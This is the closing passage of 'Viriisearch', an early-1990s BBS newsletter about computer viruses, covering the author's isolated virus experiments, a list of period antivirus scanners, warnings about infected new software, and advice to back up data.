  811. a genuine disk error and not due to a virus, since the disk was always write
  812. protected.
  813.  
  814. -----------------------------------------------------------------------------
  815.  
  816. Well, that's it for "Suicidal Tendencies" for this month!
  817.  
  818. I don't recommend trying this on any computer with a hard drive. I do not have
  819. a hard drive on the machine I do my experimenting on, so if I am careful and
  820. keep the virus isolated to one disk, I have nothing to worry about.
  821.  
  822. -----------------------------------------------------------------------------
  823.  
  824. Anti Viral Software:
  825.  
  826. -----------------------------------------------------------------------------
  827.  
  828. Here are some nice virus scanners/anti viral programs to check out:
  829.  
  830. -----------------------------------------------------------------------------
  831.  
  832. Scan v89b (C) McAfee - available on most Public Domain BBSes
  833.  
  834. Clean v89b (C) McAfee - available on most Public Domain BBSes
  835.  
  836. Norton Anti Virus v2.0 (C) Symantec
  837.  
  838. Central Point Anti Virus (C) Central Point Software
  839.  
  840. There are a few others, but I think the above four are the best. I use
  841. Norton Anti Virus and Scan.
  842.  
  843. -----------------------------------------------------------------------------
  844.  
  845. Some things you should know:
  846.  
  847. -----------------------------------------------------------------------------
  848.  
  849. Most people assume that a hard drive in a newly purchased computer, or a new
  850. program still in the shrinkwrap are always virus free. Well, this is just not
  851. true. The reported cases are few and far in between, but today anything can
  852. happen, and it has. A certain computer company shipped out 500 of their
  853. computers infected with the Michaelangelo virus, which started the whole
  854. panic in the first place. And there have been a few times where someone bought
  855. a brand new program, took it home and started using it, not expecting it to
  856. be infected with a virus. Well, it was. After all, people create virii and
  857. people work at computer companies, and software distributors. So what's
  858. stopping a pissed off employee from infecting a computer or a program? Nothing
  859. at all.
  860.  
  861. How you take this information is entirely up to you.
  862.  
  863. If you call a BBS and they say they scan for virii, don't assume that every
  864. single file will be virus free, some can sneak through. There is also the
  865. possibility of a unknown virus that was not detected by the scanner.
  866.  
  867. Last but not least: ALWAYS BACK UP YOUR DATA!!!
  868.  
  869. Philosophy Dept:
  870.  
  871. "Knowledge is power" - Francis Bacon, 16th Century Philosopher
  872.  
  873. "Even if a computer is locked, sealed in concrete, placed in a lead room and
  874. surrounded by armed guards, I'd still have my doubts."
  875.  
  876. Those aren't the exact words and I forget who said that, but it is quite
  877. appropriate and all too true.
  878.  
  879. I hope you enjoyed this issue of "Viriisearch" The newsletter dedicated
  880. entirely to computer virii.
  881.  
  882.  
  883. Until Next Time......Be Careful!!!
  884.  
  885.                    * Criminal Minded <tm> *
  886. -----------------------------------------------------------------------------
  887.  
  888. Downloaded From P-80 International Information Systems 304-744-2253
  889.